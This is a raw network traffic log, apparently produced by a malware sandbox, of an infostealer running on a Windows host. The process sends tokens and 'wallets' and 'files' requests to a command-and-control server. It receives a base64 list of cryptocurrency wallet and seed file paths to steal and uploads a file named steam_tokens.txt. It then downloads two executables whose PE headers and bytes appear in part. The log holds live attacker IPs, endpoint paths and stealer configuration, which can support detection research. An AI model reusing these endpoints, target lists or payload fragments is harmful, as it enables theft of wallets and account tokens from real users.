Jul 26, 2024 10:36:17.666980982 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"wallets------DGIJEGHDAECAKECAFCAK--
Jul 26, 2024 10:36:17.852468014 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 26, 2024 10:36:17.855303049 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="message"ybncbhylepme------BFIIEHJDBKJKECBFHDGH--
Jul 26, 2024 10:36:18.061522961 CEST	359	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 132 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 33 4e 76 61 32 45 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 62 57 6c 75 5a 53 39 6c 62 6e 52 6c 63 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 4a 38 Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L3Nva2EvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvbWluZS9lbnRlci5leGV8MHwwfFN0YXJ0fDJ8
Jul 26, 2024 10:36:22.878701925 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	185.215.113.16	80	2036	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:18.082423925 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 10:36:18.866930008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:18 GMT Content-Type: application/octet-stream Content-Length: 1921024 Last-Modified: Fri, 26 Jul 2024 07:32:05 GMT Connection: keep-alive ETag: "66a350f5-1d5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@f0L@`L@Wk,LL @.rsrc@.idata @ 0+@legihfsp@16@iwukfltx L*@.taggant00L".@
Jul 26, 2024 10:36:18.867599010 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 10:36:18.867635965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 10:36:18.867667913 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 10:36:18.867705107 CEST	1236	IN	Data Raw: 43 56 0f 81 29 df 54 61 46 2e f0 e2 aa 8e d0 5e 5b cd 51 ae 29 11 e4 c5 99 c8 50 46 1d 39 c0 dd a1 de 72 21 d9 2a 72 0e 2b aa 5c 5f 98 16 60 10 aa d1 e4 46 99 ee 72 a2 47 32 8f 60 a9 92 50 e1 56 04 41 82 4c 97 6f 46 09 92 73 c1 e1 fe 72 66 4f 32 Data Ascii: CV)TaF.^[Q)PF9r!r+\_`FrG2`PVALoFsrfO2O_iB7P(wM/8,A$V]D^)ah9frP;N5di:@v:^<!>tr[xR`,rz\_X ,`%=B])^\|Q!"]uQ!tsRNPS:/F@9/RNV[2\b0
Jul 26, 2024 10:36:18.867737055 CEST	1236	IN	Data Raw: 9d 50 5f 5f 79 4b d3 f2 88 30 18 aa cb 9a 96 75 a2 d1 34 7e 1d b1 05 49 48 d1 55 ce 21 4e d0 33 a5 05 2b ff 8b 13 74 e2 78 1e 3c 16 6d 65 c1 7e b4 d5 44 42 3d 74 58 5f a5 c0 19 e3 a0 28 eb aa cc 80 d1 56 8d 5b a4 37 98 50 3e a4 c2 34 38 71 3d 16 Data Ascii: P__yK0u4~IHU!N3+tx<me~DB=tX_(V[7P>48q=8/P>9xSj`JGET3P4mZrEiGH cp>JD Av&k($K@y/:Re!='<jWWms\&E/v\hWkz;gPvC{a/RE
Jul 26, 2024 10:36:18.868288994 CEST	1236	IN	Data Raw: 10 9e 08 51 01 57 2d 00 eb 63 1c 66 2c 31 08 b0 3d 20 6f f0 b7 13 ee d6 a6 bf 7f 45 66 43 f2 26 3e 50 ca 32 ff be 7e 91 2e eb d1 96 1d 2f 37 89 29 20 18 77 83 1c 8c 93 e1 02 75 84 db f6 77 cc af db 40 4a b3 06 f8 6c 1e 72 8f 1c 2e 55 80 25 2e 1b Data Ascii: QW-cf,1= oEfC&>P2~./7) wuw@Jlr.U%.lxlL j?X"1aJBR(#v[Z9;^~&Mx-Z7i2/tqH#sT[kEO8Y8%innkr/#Us%F 0SW8
Jul 26, 2024 10:36:18.868324995 CEST	1236	IN	Data Raw: b5 42 10 8e 82 4f be cf 25 71 77 ee e1 ee a2 05 d6 52 29 01 76 36 b5 be 86 81 96 84 d3 8d d1 d2 20 d5 77 18 7e 60 7e 95 8a 2c db c6 71 2f 5b d7 03 73 8d b0 4e 2b ec d9 9f 9f 51 16 a7 23 02 45 3b da ea fe 7a 7f 8a 34 8e 33 5b 62 10 b7 25 c7 30 4b Data Ascii: BO%qwR)v6 w~`~,q/[sN+Q#E;z43[b%0K$*Y&Q"QR3v%vq"h1i;{ 8]jy34J&Pt+F!g2UYU@FSk)=lr@>027>ToWbHj]rx
Jul 26, 2024 10:36:18.868352890 CEST	32	IN	Data Raw: a3 e4 b2 76 59 16 43 4e 27 12 31 1d bb c6 56 f6 d1 51 f0 4a 95 f7 cb aa 40 af 6e f4 8f 0f 42 4a Data Ascii: vYCN'1VQJ@nBJ
Jul 26, 2024 10:36:18.868392944 CEST	1236	IN	Data Raw: 5d 27 fa 10 fe 2d cc 1e f4 46 67 6b ce 5c 3d 85 db 40 30 45 54 ec a4 6b 3d 39 23 5e 52 33 2e 7f 98 cf 2f 43 1b 65 18 3c 57 b3 3d 1d 55 0d 84 e8 49 ce a1 41 9b 8f 8e cb 1d cc 78 ee 5a fd d5 eb ca 9e 04 f8 bf f8 4c 44 b1 e6 70 fa a6 8d 85 a1 6b f9 Data Ascii: ]'-Fgk\=@0ETk=9#^R3./Ce<W=UIAxZLDpk3Sh1=SxgK\[6t<uEQ#a88_$IkhQCo+"oC<=u>h1xx__ov@pUVa6Ew1S:$}B6^f\}OM:335
Jul 26, 2024 10:36:18.874511957 CEST	1236	IN	Data Raw: ec f8 7d 12 2c 9d 08 30 7f 34 b0 9d 48 a2 1f 12 8d ad b5 ac dd cf 39 1c 51 19 55 cb 89 e4 46 bb f1 1e f1 79 ba a6 80 f4 28 51 07 e0 dd a2 c7 51 44 be 24 13 af f2 5e 38 9d 5f 6d 58 44 8f 61 6f bc 4f 4a f6 9d 60 58 43 a2 15 8c 76 9d ef 29 41 61 e2 Data Ascii: },04H9QUFy(QQD$^8_mXDaoOJ`XCv)Aan!#A"VDsd{spzzs@B94KD_uje_&T%U;e8sCqEVk8fD*9.WfPNdmH!H:^yu] bD~.9{iJnI/t"]Al]il:
Jul 26, 2024 10:36:20.942543983 CEST	79	OUT	GET /mine/enter.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 10:36:21.193698883 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:21 GMT Content-Type: application/octet-stream Content-Length: 1912832 Last-Modified: Fri, 26 Jul 2024 07:31:29 GMT Connection: keep-alive ETag: "66a350d1-1d3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfK@K@WkKK @.rsrc@.idata @ *@yaomedmc 1@ihlphrnjK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49719	85.28.47.31	80	2036	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:23.065886021 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--
Jul 26, 2024 10:36:24.175976038 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:24.218595028 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"files------GIEHJDHCBAEHJJJKKFID--
Jul 26, 2024 10:36:24.408466101 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:24.410054922 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGIDAAFIEHIEHJKFHCAE--
Jul 26, 2024 10:36:24.985265017 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49722	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:28.136938095 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:28.942500114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
